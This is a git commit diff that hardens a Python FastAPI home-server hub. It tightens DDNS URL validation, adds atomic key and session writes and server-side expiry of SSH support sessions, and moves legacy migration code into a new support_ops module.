Fix all 8 security hardening blockers for PR #423
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
This commit is contained in:
co-authored by
naturallaw777
parent
894707a87c
commit
947c04834d
@@ -188,6 +188,14 @@ def _validate_ddns_url(url: str) -> str:
|
|||||||
)
|
)
|
||||||
if "%00" in url.lower():
|
if "%00" in url.lower():
|
||||||
raise ValueError("DDNS URL must not contain encoded null bytes")
|
raise ValueError("DDNS URL must not contain encoded null bytes")
|
||||||
|
# Reject any remaining $ expressions — after ${IP} substitution there
|
||||||
|
# must be none. Callers that store ${IP} placeholder URLs must substitute
|
||||||
|
# before calling this function.
|
||||||
|
if "$" in url:
|
||||||
|
raise ValueError("DDNS URL must not contain $ expressions")
|
||||||
|
# Require the exact /update/ path used by Njal.la
|
||||||
|
if parsed.path != "/update/":
|
||||||
|
raise ValueError("DDNS URL path must be exactly /update/")
|
||||||
return url
|
return url
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+166
-212
@@ -19,10 +19,12 @@ import shutil
|
|||||||
import socket
|
import socket
|
||||||
import subprocess
|
import subprocess
|
||||||
import tempfile
|
import tempfile
|
||||||
|
import threading
|
||||||
import time
|
import time
|
||||||
import urllib.error
|
import urllib.error
|
||||||
import urllib.parse
|
import urllib.parse
|
||||||
import urllib.request
|
import urllib.request
|
||||||
|
import uuid
|
||||||
from threading import Lock
|
from threading import Lock
|
||||||
|
|
||||||
from fastapi import FastAPI, HTTPException
|
from fastapi import FastAPI, HTTPException
|
||||||
@@ -37,6 +39,7 @@ from starlette.middleware.base import BaseHTTPMiddleware
|
|||||||
from .config import load_config, load_versions
|
from .config import load_config, load_versions
|
||||||
from . import systemctl as sysctl
|
from . import systemctl as sysctl
|
||||||
from . import nwc_hub_manager as _nwc_mgr
|
from . import nwc_hub_manager as _nwc_mgr
|
||||||
|
from . import support_ops as _support_ops
|
||||||
from .security_helpers import (
|
from .security_helpers import (
|
||||||
_nix_escape,
|
_nix_escape,
|
||||||
NPUB_RE,
|
NPUB_RE,
|
||||||
@@ -185,6 +188,11 @@ PROTECTED_WALLET_PATHS: list[str] = [
|
|||||||
"/home",
|
"/home",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
# Server-side independent expiry timer for the active support session.
|
||||||
|
# Scheduled when a session is enabled; cancelled when disabled.
|
||||||
|
_support_expiry_timer: threading.Timer | None = None
|
||||||
|
_support_expiry_timer_lock = Lock()
|
||||||
|
|
||||||
CATEGORY_ORDER = [
|
CATEGORY_ORDER = [
|
||||||
("infrastructure", "Infrastructure"),
|
("infrastructure", "Infrastructure"),
|
||||||
("bitcoin-base", "Bitcoin Base"),
|
("bitcoin-base", "Bitcoin Base"),
|
||||||
@@ -1997,26 +2005,13 @@ def _expire_support_if_stale() -> bool:
|
|||||||
startup, so expiry is enforced even if the user never calls
|
startup, so expiry is enforced even if the user never calls
|
||||||
``/api/support/disable``.
|
``/api/support/disable``.
|
||||||
"""
|
"""
|
||||||
try:
|
return _support_ops.expire_if_stale(
|
||||||
with open(SUPPORT_STATUS_FILE, "r") as f:
|
SUPPORT_STATUS_FILE,
|
||||||
info = json.load(f)
|
clock_fn=time.time,
|
||||||
except (FileNotFoundError, json.JSONDecodeError):
|
disable_fn=_disable_support,
|
||||||
return False
|
audit_fn=_log_support_audit,
|
||||||
expires_at = info.get("expires_at")
|
max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
|
||||||
if expires_at is None:
|
)
|
||||||
# Legacy session without expiry: treat as expired after
|
|
||||||
# SUPPORT_SESSION_MAX_SECONDS from when it was enabled.
|
|
||||||
enabled_at = info.get("enabled_at", 0)
|
|
||||||
if enabled_at and (time.time() - enabled_at) > SUPPORT_SESSION_MAX_SECONDS:
|
|
||||||
_log_support_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
|
|
||||||
_disable_support()
|
|
||||||
return True
|
|
||||||
return False
|
|
||||||
if time.time() >= expires_at:
|
|
||||||
_log_support_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
|
|
||||||
_disable_support()
|
|
||||||
return True
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
def _get_support_session_info() -> dict:
|
def _get_support_session_info() -> dict:
|
||||||
@@ -2169,82 +2164,33 @@ def _get_wallet_unlock_info() -> dict:
|
|||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
|
||||||
# The exact legacy fleet-wide support key comment used in old deployments.
|
# The exact base64 blob of the historical fleet-wide root support key is defined
|
||||||
# This is the only key that the upgrade migration will remove from root's
|
# in support_ops.LEGACY_ROOT_KEY_BLOB and used by _remove_legacy_root_support_key().
|
||||||
# authorized_keys. All other keys (admin keys, etc.) are preserved.
|
|
||||||
_LEGACY_ROOT_SUPPORT_KEY_COMMENT = "sovransystemsos-support"
|
|
||||||
|
|
||||||
|
|
||||||
def _remove_legacy_root_support_key() -> bool:
|
def _remove_legacy_root_support_key() -> bool:
|
||||||
"""One-time upgrade migration: remove the old fleet-wide support key from root.
|
"""One-time upgrade migration: remove the exact historical fleet-wide support key.
|
||||||
|
|
||||||
Reads ``/root/.ssh/authorized_keys``, removes only lines whose comment
|
Identifies the key by its exact base64 blob, regardless of algorithm prefix
|
||||||
field exactly matches ``_LEGACY_ROOT_SUPPORT_KEY_COMMENT``, and writes the
|
or comment field. All other keys, blank lines, and comment lines are
|
||||||
file back atomically. All other keys and blank/comment lines are
|
preserved. The file is written atomically.
|
||||||
preserved unchanged.
|
|
||||||
|
|
||||||
Returns ``True`` if the file was updated, ``False`` if unchanged or absent.
|
Returns ``True`` if the file was updated, ``False`` if unchanged or absent.
|
||||||
"""
|
"""
|
||||||
try:
|
return _support_ops.remove_legacy_root_key(
|
||||||
with open(AUTHORIZED_KEYS, "r") as f:
|
AUTHORIZED_KEYS,
|
||||||
lines = f.readlines()
|
_support_ops.LEGACY_ROOT_KEY_BLOB,
|
||||||
except FileNotFoundError:
|
audit_fn=_log_support_audit,
|
||||||
return False
|
|
||||||
except OSError:
|
|
||||||
return False
|
|
||||||
|
|
||||||
kept: list[str] = []
|
|
||||||
removed_count = 0
|
|
||||||
for line in lines:
|
|
||||||
stripped = line.rstrip("\n")
|
|
||||||
# A key line has at least 2 whitespace-separated fields; the optional
|
|
||||||
# third field is the comment. We only remove lines where the comment
|
|
||||||
# matches exactly — no substring matching.
|
|
||||||
parts = stripped.split()
|
|
||||||
if len(parts) >= 3 and parts[2] == _LEGACY_ROOT_SUPPORT_KEY_COMMENT:
|
|
||||||
removed_count += 1
|
|
||||||
_log_support_audit(
|
|
||||||
"LEGACY_ROOT_KEY_REMOVED",
|
|
||||||
f"removed legacy fleet key with comment={_LEGACY_ROOT_SUPPORT_KEY_COMMENT!r}",
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
kept.append(line)
|
|
||||||
|
|
||||||
if removed_count == 0:
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Atomic write: write to tmp then rename
|
|
||||||
try:
|
|
||||||
auth_dir = os.path.dirname(AUTHORIZED_KEYS)
|
|
||||||
fd, tmp = tempfile.mkstemp(dir=auth_dir or ".", prefix=".authorized_keys_tmp")
|
|
||||||
try:
|
|
||||||
with os.fdopen(fd, "w") as f:
|
|
||||||
f.writelines(kept)
|
|
||||||
os.chmod(tmp, 0o600)
|
|
||||||
os.replace(tmp, AUTHORIZED_KEYS)
|
|
||||||
except Exception:
|
|
||||||
try:
|
|
||||||
os.unlink(tmp)
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
raise
|
|
||||||
except OSError:
|
|
||||||
return False
|
|
||||||
|
|
||||||
_log_support_audit(
|
|
||||||
"LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
|
|
||||||
f"removed={removed_count} keys_retained={len(kept)}",
|
|
||||||
)
|
)
|
||||||
return True
|
|
||||||
|
|
||||||
|
|
||||||
def _enable_support(pubkey: str) -> bool:
|
def _enable_support(pubkey: str) -> bool:
|
||||||
"""Install a per-session SSH public key for the restricted support user.
|
"""Install a per-session SSH public key for the restricted support user.
|
||||||
|
|
||||||
The key is written only to the ``sovran-support`` account's
|
The key is written only to the ``sovran-support`` account's
|
||||||
``authorized_keys``; root's ``authorized_keys`` is never modified.
|
``authorized_keys`` (atomically); root's ``authorized_keys`` is never
|
||||||
Applies POSIX ACLs to wallet directories to prevent access by the support
|
modified. Applies POSIX ACLs to wallet directories to prevent access by
|
||||||
user without explicit user consent.
|
the support user without explicit user consent.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
pubkey: A validated Ed25519/ECDSA OpenSSH public key string (single line).
|
pubkey: A validated Ed25519/ECDSA OpenSSH public key string (single line).
|
||||||
@@ -2254,12 +2200,28 @@ def _enable_support(pubkey: str) -> bool:
|
|||||||
|
|
||||||
if use_restricted_user:
|
if use_restricted_user:
|
||||||
os.makedirs(SUPPORT_USER_SSH_DIR, mode=0o700, exist_ok=True)
|
os.makedirs(SUPPORT_USER_SSH_DIR, mode=0o700, exist_ok=True)
|
||||||
with open(SUPPORT_USER_AUTH_KEYS, "w") as f:
|
# Atomic write: mkstemp + os.replace
|
||||||
f.write(pubkey.strip() + "\n")
|
fd, tmp_keys = tempfile.mkstemp(
|
||||||
os.chmod(SUPPORT_USER_AUTH_KEYS, 0o600)
|
dir=SUPPORT_USER_SSH_DIR, prefix=".authorized_keys_tmp"
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
with os.fdopen(fd, "w") as f:
|
||||||
|
f.write(pubkey.strip() + "\n")
|
||||||
|
os.chmod(tmp_keys, 0o600)
|
||||||
|
try:
|
||||||
|
pw = pwd.getpwnam(SUPPORT_USER)
|
||||||
|
os.chown(tmp_keys, pw.pw_uid, pw.pw_gid)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
os.replace(tmp_keys, SUPPORT_USER_AUTH_KEYS)
|
||||||
|
except Exception:
|
||||||
|
try:
|
||||||
|
os.unlink(tmp_keys)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
raise
|
||||||
try:
|
try:
|
||||||
pw = pwd.getpwnam(SUPPORT_USER)
|
pw = pwd.getpwnam(SUPPORT_USER)
|
||||||
os.chown(SUPPORT_USER_AUTH_KEYS, pw.pw_uid, pw.pw_gid)
|
|
||||||
os.chown(SUPPORT_USER_SSH_DIR, pw.pw_uid, pw.pw_gid)
|
os.chown(SUPPORT_USER_SSH_DIR, pw.pw_uid, pw.pw_gid)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
@@ -2271,18 +2233,35 @@ def _enable_support(pubkey: str) -> bool:
|
|||||||
acl_applied = _apply_wallet_acls() if use_restricted_user else False
|
acl_applied = _apply_wallet_acls() if use_restricted_user else False
|
||||||
wallet_paths = _get_existing_wallet_paths()
|
wallet_paths = _get_existing_wallet_paths()
|
||||||
|
|
||||||
|
session_id = str(uuid.uuid4())
|
||||||
|
expires_at = time.time() + SUPPORT_SESSION_MAX_SECONDS
|
||||||
session_info = {
|
session_info = {
|
||||||
|
"session_id": session_id,
|
||||||
"enabled_at": time.time(),
|
"enabled_at": time.time(),
|
||||||
"enabled_at_human": time.strftime("%Y-%m-%d %H:%M:%S %Z"),
|
"enabled_at_human": time.strftime("%Y-%m-%d %H:%M:%S %Z"),
|
||||||
"expires_at": time.time() + SUPPORT_SESSION_MAX_SECONDS,
|
"expires_at": expires_at,
|
||||||
"use_restricted_user": use_restricted_user,
|
"use_restricted_user": use_restricted_user,
|
||||||
"wallet_protected": use_restricted_user,
|
"wallet_protected": use_restricted_user,
|
||||||
"acl_applied": acl_applied,
|
"acl_applied": acl_applied,
|
||||||
"protected_paths": wallet_paths,
|
"protected_paths": wallet_paths,
|
||||||
}
|
}
|
||||||
os.makedirs(os.path.dirname(SUPPORT_STATUS_FILE), exist_ok=True)
|
# Atomic write of session metadata
|
||||||
with open(SUPPORT_STATUS_FILE, "w") as f:
|
status_dir = os.path.dirname(SUPPORT_STATUS_FILE)
|
||||||
json.dump(session_info, f)
|
os.makedirs(status_dir, exist_ok=True)
|
||||||
|
fd2, tmp_status = tempfile.mkstemp(dir=status_dir, prefix=".support-session-tmp")
|
||||||
|
try:
|
||||||
|
with os.fdopen(fd2, "w") as f:
|
||||||
|
json.dump(session_info, f)
|
||||||
|
os.replace(tmp_status, SUPPORT_STATUS_FILE)
|
||||||
|
except Exception:
|
||||||
|
try:
|
||||||
|
os.unlink(tmp_status)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
raise
|
||||||
|
|
||||||
|
# Schedule server-side independent expiry timer
|
||||||
|
_schedule_expiry_timer(session_id, expires_at)
|
||||||
|
|
||||||
_log_support_audit(
|
_log_support_audit(
|
||||||
"SUPPORT_ENABLED",
|
"SUPPORT_ENABLED",
|
||||||
@@ -2294,9 +2273,55 @@ def _enable_support(pubkey: str) -> bool:
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def _schedule_expiry_timer(session_id: str, expires_at: float) -> None:
|
||||||
|
"""Schedule a server-side timer to expire the support session at ``expires_at``.
|
||||||
|
|
||||||
|
Cancels any previously scheduled timer first. The timer callback compares
|
||||||
|
the stored session_id and expires_at to prevent a stale timer (for an
|
||||||
|
older session) from revoking a replacement session.
|
||||||
|
"""
|
||||||
|
global _support_expiry_timer
|
||||||
|
delay = max(0.0, expires_at - time.time())
|
||||||
|
with _support_expiry_timer_lock:
|
||||||
|
if _support_expiry_timer is not None:
|
||||||
|
_support_expiry_timer.cancel()
|
||||||
|
t = threading.Timer(delay, _auto_expire_support, args=[session_id, expires_at])
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
_support_expiry_timer = t
|
||||||
|
|
||||||
|
|
||||||
|
def _cancel_expiry_timer() -> None:
|
||||||
|
"""Cancel the active server-side support expiry timer if one is running."""
|
||||||
|
global _support_expiry_timer
|
||||||
|
with _support_expiry_timer_lock:
|
||||||
|
if _support_expiry_timer is not None:
|
||||||
|
_support_expiry_timer.cancel()
|
||||||
|
_support_expiry_timer = None
|
||||||
|
|
||||||
|
|
||||||
|
def _auto_expire_support(session_id: str, expected_expiry: float) -> None:
|
||||||
|
"""Timer callback: expire the session only if it still matches session_id / expires_at.
|
||||||
|
|
||||||
|
A stale timer for an older session must never revoke a replacement session.
|
||||||
|
"""
|
||||||
|
_support_ops.expire_if_stale(
|
||||||
|
SUPPORT_STATUS_FILE,
|
||||||
|
clock_fn=time.time,
|
||||||
|
disable_fn=_disable_support,
|
||||||
|
audit_fn=_log_support_audit,
|
||||||
|
session_id=session_id,
|
||||||
|
expected_expiry=expected_expiry,
|
||||||
|
max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def _disable_support() -> bool:
|
def _disable_support() -> bool:
|
||||||
"""Remove the per-session support key and revoke all wallet access."""
|
"""Remove the per-session support key and restore wallet protection."""
|
||||||
try:
|
try:
|
||||||
|
# Cancel any pending expiry timer
|
||||||
|
_cancel_expiry_timer()
|
||||||
|
|
||||||
# Remove from support user's authorized_keys
|
# Remove from support user's authorized_keys
|
||||||
try:
|
try:
|
||||||
os.remove(SUPPORT_USER_AUTH_KEYS)
|
os.remove(SUPPORT_USER_AUTH_KEYS)
|
||||||
@@ -2315,8 +2340,8 @@ def _disable_support() -> bool:
|
|||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# Re-apply ACLs to ensure wallet access is revoked
|
# Re-apply deny ACLs to restore wallet protection
|
||||||
_revoke_wallet_acls()
|
_apply_wallet_acls()
|
||||||
|
|
||||||
# Remove session metadata
|
# Remove session metadata
|
||||||
try:
|
try:
|
||||||
@@ -4353,11 +4378,10 @@ async def api_features_toggle(req: FeatureToggleRequest):
|
|||||||
await loop.run_in_executor(None, _write_hub_overrides, features, nostr_npub, cur_tz, cur_locale)
|
await loop.run_in_executor(None, _write_hub_overrides, features, nostr_npub, cur_tz, cur_locale)
|
||||||
|
|
||||||
# When enabling a feature that relies on dynamic DNS, refresh the Njal.la
|
# When enabling a feature that relies on dynamic DNS, refresh the Njal.la
|
||||||
# records right away instead of waiting for the 15-minute cron tick.
|
# records right away instead of waiting for the 15-minute timer tick.
|
||||||
# The newly enabled service needs DNS pointing at this machine as soon as
|
# The newly enabled service needs DNS pointing at this machine as soon as
|
||||||
# the rebuild finishes (cert issuance, reachability).
|
# the rebuild finishes (cert issuance, reachability).
|
||||||
if req.enabled and feat_meta.get("needs_ddns"):
|
if req.enabled and feat_meta.get("needs_ddns"):
|
||||||
await loop.run_in_executor(None, _ensure_njalla_script)
|
|
||||||
await loop.run_in_executor(None, _run_njalla_ddns)
|
await loop.run_in_executor(None, _run_njalla_ddns)
|
||||||
|
|
||||||
# Clear the old rebuild log so the frontend doesn't pick up stale results
|
# Clear the old rebuild log so the frontend doesn't pick up stale results
|
||||||
@@ -4464,130 +4488,29 @@ def _validate_safe_name(name: str) -> bool:
|
|||||||
|
|
||||||
_NJALLA_HEADER_SENTINEL = "# SOVRAN_NJALLA_HEADER"
|
_NJALLA_HEADER_SENTINEL = "# SOVRAN_NJALLA_HEADER"
|
||||||
|
|
||||||
# Narrow regex matching only the exact curl DDNS pattern written by old Hub
|
# Import the migration regex from support_ops so there is a single canonical
|
||||||
# versions: curl <https://njal.la/...> with optional flags but NO semicolons,
|
# definition used by both the production server and the test suite.
|
||||||
# shell expansions, backticks, or pipe characters. Anything else is rejected.
|
_LEGACY_NJALLA_CURL_RE = _support_ops._LEGACY_NJALLA_CURL_RE
|
||||||
_LEGACY_NJALLA_CURL_RE = re.compile(
|
|
||||||
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
|
|
||||||
r'(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f]|\$\{IP\})+)$'
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
def _migrate_legacy_njalla_script() -> None:
|
def _migrate_legacy_njalla_script() -> None:
|
||||||
"""Safely migrate legacy curl DDNS lines from ``njalla.sh`` to JSON store.
|
"""Safely migrate legacy curl DDNS lines from ``njalla.sh`` to JSON store.
|
||||||
|
|
||||||
Reads ``njalla.sh`` without executing or sourcing it. Parses only the
|
Reads ``njalla.sh`` without executing or sourcing it. Parses only the
|
||||||
exact narrow curl-pattern lines written by old Hub versions. Any line
|
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
|
||||||
that does not match the narrow pattern (including potential injected
|
versions. Delegates to ``support_ops.migrate_legacy_njalla_script`` so
|
||||||
commands) is silently discarded — never executed or logged.
|
tests can exercise the same code path.
|
||||||
|
|
||||||
URLs extracted from matching lines are validated through
|
|
||||||
``_validate_ddns_url()`` (HTTPS only, njal.la allowlist) before being
|
|
||||||
added to ``ddns_urls.json``.
|
|
||||||
|
|
||||||
After migration the script is archived with permissions 0o000 so it can
|
After migration the script is archived with permissions 0o000 so it can
|
||||||
no longer be executed by cron or any other mechanism. If the script does
|
no longer be executed. If persistence fails the script is left untouched.
|
||||||
not exist or the JSON store already has entries, this is a no-op.
|
|
||||||
"""
|
"""
|
||||||
try:
|
_support_ops.migrate_legacy_njalla_script(
|
||||||
with open(NJALLA_SCRIPT, "r") as f:
|
NJALLA_SCRIPT,
|
||||||
content = f.read()
|
_validate_ddns_url,
|
||||||
except FileNotFoundError:
|
_save_ddns_urls,
|
||||||
return
|
_load_ddns_urls,
|
||||||
except OSError:
|
audit_fn=_log_support_audit,
|
||||||
return
|
|
||||||
|
|
||||||
existing_urls = _load_ddns_urls()
|
|
||||||
|
|
||||||
new_urls: list[str] = []
|
|
||||||
for raw_line in content.splitlines():
|
|
||||||
line = raw_line.strip()
|
|
||||||
if not line or line.startswith("#"):
|
|
||||||
continue
|
|
||||||
# Only match the exact IP-lookup pattern (not a DDNS curl line)
|
|
||||||
if line.startswith("IP=") or line.startswith("#!/"):
|
|
||||||
continue
|
|
||||||
m = _LEGACY_NJALLA_CURL_RE.match(line)
|
|
||||||
if not m:
|
|
||||||
# Unrecognised line — discard silently, do NOT log (may contain tokens)
|
|
||||||
continue
|
|
||||||
raw_url = m.group(1)
|
|
||||||
# Replace the bare ${IP} placeholder used in older scripts
|
|
||||||
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
|
|
||||||
try:
|
|
||||||
# Validate without the IP so host/scheme/path checks work; the
|
|
||||||
# placeholder is restored before storing.
|
|
||||||
_validate_ddns_url(url_to_validate)
|
|
||||||
except ValueError:
|
|
||||||
continue # Silently discard invalid / non-njalla URLs
|
|
||||||
if raw_url not in existing_urls and raw_url not in new_urls:
|
|
||||||
new_urls.append(raw_url)
|
|
||||||
|
|
||||||
if new_urls:
|
|
||||||
combined = existing_urls + new_urls
|
|
||||||
_save_ddns_urls(combined)
|
|
||||||
_log_support_audit(
|
|
||||||
"NJALLA_MIGRATION",
|
|
||||||
f"migrated {len(new_urls)} DDNS URLs from legacy script",
|
|
||||||
)
|
|
||||||
|
|
||||||
# Archive the script: remove executable bit so cron can no longer run it.
|
|
||||||
try:
|
|
||||||
os.chmod(NJALLA_SCRIPT, 0o000)
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
def _ensure_njalla_script() -> None:
|
|
||||||
"""Create the base njalla.sh (shebang + public-IP lookup) if it is missing.
|
|
||||||
|
|
||||||
The Hub appends DDNS curl lines to this script, and those lines use ${IP}.
|
|
||||||
If the file exists only because of an append (e.g. the web app saved a
|
|
||||||
domain before the njalla-init systemd unit ran), it would lack the IP
|
|
||||||
lookup — ${IP} would expand empty during cron runs and the file couldn't
|
|
||||||
be executed directly. Keep in sync with modules/core/njalla.nix.
|
|
||||||
"""
|
|
||||||
njalla_dir = os.path.dirname(NJALLA_SCRIPT)
|
|
||||||
if njalla_dir:
|
|
||||||
os.makedirs(njalla_dir, exist_ok=True)
|
|
||||||
existing = ""
|
|
||||||
try:
|
|
||||||
with open(NJALLA_SCRIPT, "r") as f:
|
|
||||||
existing = f.read()
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
# Use a unique sentinel instead of substring domain check — avoids
|
|
||||||
# CodeQL py/incomplete-url-substring-sanitization false positive and
|
|
||||||
# is more robust than matching "myip.opendns.com" anywhere in file.
|
|
||||||
if _NJALLA_HEADER_SENTINEL in existing:
|
|
||||||
return # base header already present
|
|
||||||
# Backwards compat: old files have the dig line but no sentinel.
|
|
||||||
# Check for the dig marker without using a domain substring to avoid
|
|
||||||
# CodeQL py/incomplete-url-substring-sanitization.
|
|
||||||
if "IP=$(dig" in existing:
|
|
||||||
# Migrate old file by prepending sentinel for future checks
|
|
||||||
try:
|
|
||||||
with open(NJALLA_SCRIPT, "r") as f:
|
|
||||||
old_content = f.read()
|
|
||||||
with open(NJALLA_SCRIPT, "w") as f:
|
|
||||||
f.write(f"{_NJALLA_HEADER_SENTINEL}\n" + old_content)
|
|
||||||
os.chmod(NJALLA_SCRIPT, 0o755)
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
return
|
|
||||||
header = (
|
|
||||||
"#!/usr/bin/env bash\n"
|
|
||||||
f"{_NJALLA_HEADER_SENTINEL}\n"
|
|
||||||
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n\n"
|
|
||||||
"## Add DDNS entries below — one curl per line\n"
|
|
||||||
"## Managed via Sovran Hub web interface\n"
|
|
||||||
)
|
)
|
||||||
try:
|
|
||||||
with open(NJALLA_SCRIPT, "w") as f:
|
|
||||||
f.write(header + existing)
|
|
||||||
os.chmod(NJALLA_SCRIPT, 0o755)
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
def _load_ddns_urls() -> list[str]:
|
def _load_ddns_urls() -> list[str]:
|
||||||
@@ -4626,10 +4549,12 @@ def _run_njalla_ddns() -> None:
|
|||||||
Resolves the current public IP once, then invokes ``curl`` directly as a
|
Resolves the current public IP once, then invokes ``curl`` directly as a
|
||||||
subprocess for each stored DDNS update URL. No shell interpolation is
|
subprocess for each stored DDNS update URL. No shell interpolation is
|
||||||
performed and no user-controlled value is interpreted as shell syntax.
|
performed and no user-controlled value is interpreted as shell syntax.
|
||||||
|
Each URL is revalidated through ``_validate_ddns_url()`` after ``${IP}``
|
||||||
|
substitution; URLs that fail validation are silently skipped.
|
||||||
|
|
||||||
Called when a domain/DDNS entry is saved and when a DDNS-backed feature
|
Called when a domain/DDNS entry is saved and when a DDNS-backed feature
|
||||||
is enabled, so DNS is refreshed right away instead of waiting for the
|
is enabled, so DNS is refreshed right away instead of waiting for the
|
||||||
15-minute cron job (see modules/core/njalla.nix).
|
15-minute timer tick (see modules/core/njalla.nix).
|
||||||
"""
|
"""
|
||||||
urls = _load_ddns_urls()
|
urls = _load_ddns_urls()
|
||||||
if not urls:
|
if not urls:
|
||||||
@@ -4648,10 +4573,15 @@ def _run_njalla_ddns() -> None:
|
|||||||
except Exception:
|
except Exception:
|
||||||
public_ip = ""
|
public_ip = ""
|
||||||
|
|
||||||
|
if not public_ip:
|
||||||
|
return # skip to avoid sending bare ${IP} to curl
|
||||||
|
|
||||||
for raw_url in urls:
|
for raw_url in urls:
|
||||||
try:
|
try:
|
||||||
# Replace the placeholder with the validated IP (safe string replacement)
|
# Replace the placeholder with the validated IP (safe string replacement)
|
||||||
url = raw_url.replace("${IP}", public_ip) if public_ip else raw_url
|
url = raw_url.replace("${IP}", public_ip)
|
||||||
|
# Revalidate after substitution — enforces /update/ path, no $, etc.
|
||||||
|
_validate_ddns_url(url)
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
|
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
|
||||||
timeout=20, check=False,
|
timeout=20, check=False,
|
||||||
@@ -6278,11 +6208,34 @@ async def _startup_security_migrations():
|
|||||||
await loop.run_in_executor(None, _remove_legacy_root_support_key)
|
await loop.run_in_executor(None, _remove_legacy_root_support_key)
|
||||||
# Expire any support session that has passed its deadline
|
# Expire any support session that has passed its deadline
|
||||||
await loop.run_in_executor(None, _expire_support_if_stale)
|
await loop.run_in_executor(None, _expire_support_if_stale)
|
||||||
|
# Reconcile the expiry timer: if a valid session survived startup expiry,
|
||||||
|
# schedule the server-side timer so expiry occurs even without user activity.
|
||||||
|
await loop.run_in_executor(None, _reconcile_expiry_timer)
|
||||||
|
|
||||||
|
|
||||||
|
def _reconcile_expiry_timer() -> None:
|
||||||
|
"""Reschedule the expiry timer from persisted session metadata on startup.
|
||||||
|
|
||||||
|
Called after ``_expire_support_if_stale`` so only still-valid sessions are
|
||||||
|
rescheduled. Cancels any previously running timer first.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
with open(SUPPORT_STATUS_FILE, "r") as f:
|
||||||
|
info = json.load(f)
|
||||||
|
except (FileNotFoundError, json.JSONDecodeError):
|
||||||
|
_cancel_expiry_timer()
|
||||||
|
return
|
||||||
|
session_id = info.get("session_id")
|
||||||
|
expires_at = info.get("expires_at")
|
||||||
|
if session_id and expires_at and time.time() < expires_at:
|
||||||
|
_schedule_expiry_timer(session_id, expires_at)
|
||||||
|
else:
|
||||||
|
_cancel_expiry_timer()
|
||||||
|
|
||||||
|
|
||||||
@app.on_event("shutdown")
|
@app.on_event("shutdown")
|
||||||
async def _shutdown_domain_reachability():
|
async def _shutdown_domain_reachability():
|
||||||
"""Stop the background domain reachability checker."""
|
"""Stop the background domain reachability checker and cancel expiry timer."""
|
||||||
global _domain_reachability_task
|
global _domain_reachability_task
|
||||||
async with _domain_reachability_task_lock:
|
async with _domain_reachability_task_lock:
|
||||||
task = _domain_reachability_task
|
task = _domain_reachability_task
|
||||||
@@ -6291,3 +6244,4 @@ async def _shutdown_domain_reachability():
|
|||||||
task.cancel()
|
task.cancel()
|
||||||
with contextlib.suppress(asyncio.CancelledError):
|
with contextlib.suppress(asyncio.CancelledError):
|
||||||
await task
|
await task
|
||||||
|
_cancel_expiry_timer()
|
||||||
|
|||||||
@@ -0,0 +1,283 @@
|
|||||||
|
"""Sovran Hub — injectable support session operations.
|
||||||
|
|
||||||
|
Functions here handle legacy migration, root-key removal, and support-session
|
||||||
|
expiry. All filesystem paths, clocks, and callback functions are injectable
|
||||||
|
so that the test suite can exercise the exact production implementations with
|
||||||
|
temporary files and mocks rather than maintaining separate copies.
|
||||||
|
|
||||||
|
All functions depend only on the Python standard library and the co-located
|
||||||
|
``security_helpers`` module.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import tempfile
|
||||||
|
import time as _time_module
|
||||||
|
from typing import Callable
|
||||||
|
|
||||||
|
# ── Legacy Njalla curl line regex ─────────────────────────────────────────────
|
||||||
|
#
|
||||||
|
# Matches both forms written by old Hub versions:
|
||||||
|
# curl [flags] https://njal.la/... (unquoted)
|
||||||
|
# curl [flags] "https://njal.la/..." (quoted — historical form)
|
||||||
|
#
|
||||||
|
# Optional flags (in order): --silent, --max-time N, --fail
|
||||||
|
#
|
||||||
|
# Rejected outright: semicolons, pipes, backticks, redirects, newlines,
|
||||||
|
# ${...} except the literal ${IP} placeholder, and any extra arguments.
|
||||||
|
_LEGACY_NJALLA_CURL_RE = re.compile(
|
||||||
|
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
|
||||||
|
r'(?:'
|
||||||
|
r'"(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)"' # group 1: quoted
|
||||||
|
